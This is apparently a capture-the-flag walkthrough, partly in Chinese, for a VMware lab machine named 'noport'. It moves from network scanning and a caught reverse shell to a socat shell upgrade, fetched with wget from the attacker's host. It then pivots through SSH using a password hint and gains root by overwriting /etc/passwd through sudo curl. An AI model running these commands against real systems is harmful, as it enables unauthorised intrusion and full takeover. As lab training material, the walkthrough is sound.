❯ sudo arp-scan -l Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.203 00:0c:29:6b:c2:32 VMware, Inc. 192.168.60.254 00:50:56:f3:7c:e9 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.039 seconds (125.55 hosts/sec). 4 responded ❯ export ip=192.168.60.203 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure 'closed' isn't just a state of mind.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.203:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 10:12 CST Initiating ARP Ping Scan at 10:12 Scanning 192.168.60.203 [1 port] Completed ARP Ping Scan at 10:12, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:12 Completed Parallel DNS resolution of 1 host. at 10:12, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:12 Scanning 192.168.60.203 [1 port] Discovered open port 80/tcp on 192.168.60.203 Completed SYN Stealth Scan at 10:12, 0.03s elapsed (1 total ports) Nmap scan report for 192.168.60.203 Host is up, received arp-response (0.00032s latency). Scanned at 2025-05-29 10:12:53 CST for 0s PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 00:0C:29:6B:C2:32 (VMware) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from noport-192.168.60.203-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [!] Cannot upgrade shell with the available binaries...
1) Upload https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat 2) Upload local socat binary 3) Specify remote socat binary path 4) None of the above
[?] Select action: 4 [+] Readline support enabled [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /home/Pepster/.penelope/noport~192.168.60.203_Linux_x86_64/2025_05_29-15_58_54-322.log 📜 ─────────────────────────────────────────────────────────────────────────────────── id uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
这个shell下比较难受，利用socat升级一下终端
1 2 3 4
cd /tmp wget 192.168.60.100/socat chmod +x socat ./socat tcp:192.168.60.100:8888,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
再次监听端口
得到本地开放22端口，并且还拥有sudo权限，然而并没有什么用
存在用户akaRed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ socat file:`tty`,raw,echo=0 tcp-listen:8888 bash-5.0$ id uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache) bash-5.0$ netstat -luntp netstat: showing only processes with your user ID Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN - bash-5.0$ sudo -l User apache may run the following commands on noport: (root) NOPASSWD: /sbin/reboot bash-5.0$ cat /etc/passwd|grep /bin/ash root:x:0:0:root:/root:/bin/ash akaRed:x:1000:1000:Linux User,,,:/home/akaRed:/bin/ash
bash-5.0$ cd /var/www/ bash-5.0$ cat pass To prevent myself fron forgetting my password,i set my password to be the same as the website password so that i wont forget it! 为了防止自己忘记密码，我将密码设置为与网站密码相同，这样我就不会忘记了！
bash-5.0$ su akaRed bash: /bin/su: Permission denied bash-5.0$ ls -al /bin/su lrwxrwxrwx 1 root root 11 Apr 20 22:48 /bin/su -> /bin/bbsuid bash-5.0$ ssh akaRed@localhost Could not create directory '/var/www/.ssh'. The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:66Wi/BsnYTXMZk8Pqh7zv03E330mhNj8W21ltvR/uqs. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). akaRed@localhost's password: Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
noport:~$ id uid=1000(akaRed) gid=1000(akaRed) groups=1000(akaRed) noport:~$ cat user.txt flag{UR_s0_Good_*n-n3tvv0rk_For_660930334}
akaRed用户也拥有sudo权限可以执行curl
1 2 3 4
noport:~$ sudo -l User akaRed may run the following commands on noport: (root) NOPASSWD: /usr/bin/curl (root) NOPASSWD: /sbin/reboot
那不就是任意文件写入了吗
改passwd文件，再写回去即可
方法特别多，改sudoers文件，写公钥，写定时任务，总之选一个自己习惯的就行
1 2 3 4 5 6
noport:~$ cp /etc/passwd . noport:~$ echo'primary:zSZ7Whrr8hgwY:0:0::/root:/bin/ash'>>passwd noport:~$ sudo /usr/bin/curl file:///home/akaRed/passwd -o /etc/passwd % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1367 100 1367 0 0 5704k 0 --:--:-- --:--:-- --:--:-- 5704k
noport:~$ ssh primary@localhost The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:66Wi/BsnYTXMZk8Pqh7zv03E330mhNj8W21ltvR/uqs. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts. primary@localhost's password: Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
noport:~# id uid=0(root) gid=0(root) groups=0(root) noport:~# cat /root/root.txt flag{Ur_t3h_Trvely_n3tvv0rk_@ce_on_QQGroup}
